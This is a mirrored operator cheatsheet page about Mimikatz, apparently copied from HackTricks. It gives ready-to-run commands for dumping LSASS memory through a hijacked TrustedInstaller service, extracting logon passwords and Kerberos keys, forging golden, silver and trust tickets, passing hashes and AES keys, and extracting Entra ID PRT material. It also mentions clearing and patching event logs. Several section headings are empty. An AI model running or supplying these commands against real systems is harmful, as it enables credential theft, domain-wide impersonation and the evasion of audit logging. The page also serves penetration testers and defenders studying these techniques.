repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
credentials-mimikatz.mdMarkdown253 lines11.5 KiBsource raw download

title: "Mimikatz" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/stealing-credentials/credentials-mimikatz.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/stealing-credentials/credentials-mimikatz.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Mimikatz#

This page is based on one from adsecurity.org. Check the original for further info![3]

LM and Clear-Text in memory#

From Windows 8.1 and Windows Server 2012 R2 onwards, significant measures have been implemented to safeguard against credential theft:

Despite these protections, tools like Mimikatz can circumvent LSA Protection using specific drivers, although such actions are likely to be recorded in event logs.

On modern workstations this matters even more because Credential Guard is enabled by default on many Windows 11 22H2+ and Windows Server 2025 domain-joined, non-DC systems, while LSASS-as-PPL is enabled by default on fresh Windows 11 22H2+ installs. In practice, this means sekurlsa::logonpasswords often yields less material than older tradecraft expected and operators increasingly pivot to offline minidumps, Kerberos key extraction (sekurlsa::ekeys), or CloudAP/PRT-oriented modules. For the protection side, check Windows credentials protections.

Counteracting SeDebugPrivilege Removal#

Administrators typically have SeDebugPrivilege, enabling them to debug programs. This privilege can be restricted to prevent unauthorized memory dumps, a common technique used by attackers to extract credentials from memory. However, even with this privilege removed, the TrustedInstaller account can still perform memory dumps using a customized service configuration:

sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller

This allows the dumping of the lsass.exe memory to a file, which can then be analyzed on another system to extract credentials:

# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords

Mimikatz Options#

Event log tampering in Mimikatz involves two primary actions: clearing event logs and patching the Event service to prevent logging of new events. Below are the commands for performing these actions:

Clearing Event Logs#

Experimental Feature: Patching the Event Service#

Kerberos Ticket Attacks#

Use the commands below as quick syntax reminders. The dedicated pages for golden tickets, silver tickets, diamond tickets, and over-pass-the-hash / pass-the-key contain the up-to-date AES/PAC/opsec nuances.

Golden Ticket Creation#

A Golden Ticket allows for domain-wide access impersonation. Key command and parameters:

Example:

mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit

Silver Ticket Creation#

Silver Tickets grant access to specific services. Key command and parameters:

Example:

mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit

Trust Ticket Creation#

Trust Tickets are used for accessing resources across domains by leveraging trust relationships. Key command and parameters:

Example:

mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit

Additional Kerberos Commands#

Over-Pass-the-Hash / Pass-the-Key#

If RC4 is disabled or unreliable, Mimikatz can patch AES128/AES256 Kerberos keys into the current logon session instead of only using an NT hash. This is usually a better fit for modern domains than treating sekurlsa::pth as NTLM-only.[1]

mimikatz "privilege::debug" "sekurlsa::ekeys" exit
mimikatz "sekurlsa::pth /user:svc_sql /domain:corp.local /aes256:<AES256_HEX> /run:powershell.exe" exit
mimikatz "sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /impersonate" exit

/impersonate reuses the current process instead of spawning a new console, which is handy when you want to immediately run things like lsadump::dcsync in the same context.

Active Directory Tampering#

Credential Access#

Cloud credentials / Entra ID#

On Entra ID or hybrid-joined hosts, sekurlsa::cloudap can expose cached Primary Refresh Token (PRT) material from LSASS. If the associated Proof-of-Possession key is software-protected, dpapi::cloudapkd can derive the clear/derived key material needed for follow-on Pass-the-PRT workflows.[1]

mimikatz "privilege::debug" "sekurlsa::cloudap" exit
mimikatz "dpapi::cloudapkd /keyvalue:<ProofOfPossessionKey> /unprotect" exit
mimikatz "dpapi::cloudapkd /context:<CONTEXT> /derivedkey:<DERIVED_KEY> /prt:<PRT>" exit

This becomes much harder when the key is TPM-backed, but it is worth checking on hybrid endpoints because the cached CloudAP data may be more interesting than classic wdigest output.[2] For the cloud-side abuse chain, see Pass the PRT.

Miscellaneous#

Privilege Escalation#

Credential Dumping#

Sid and Token Manipulation#

Terminal Services#

Vault#

References#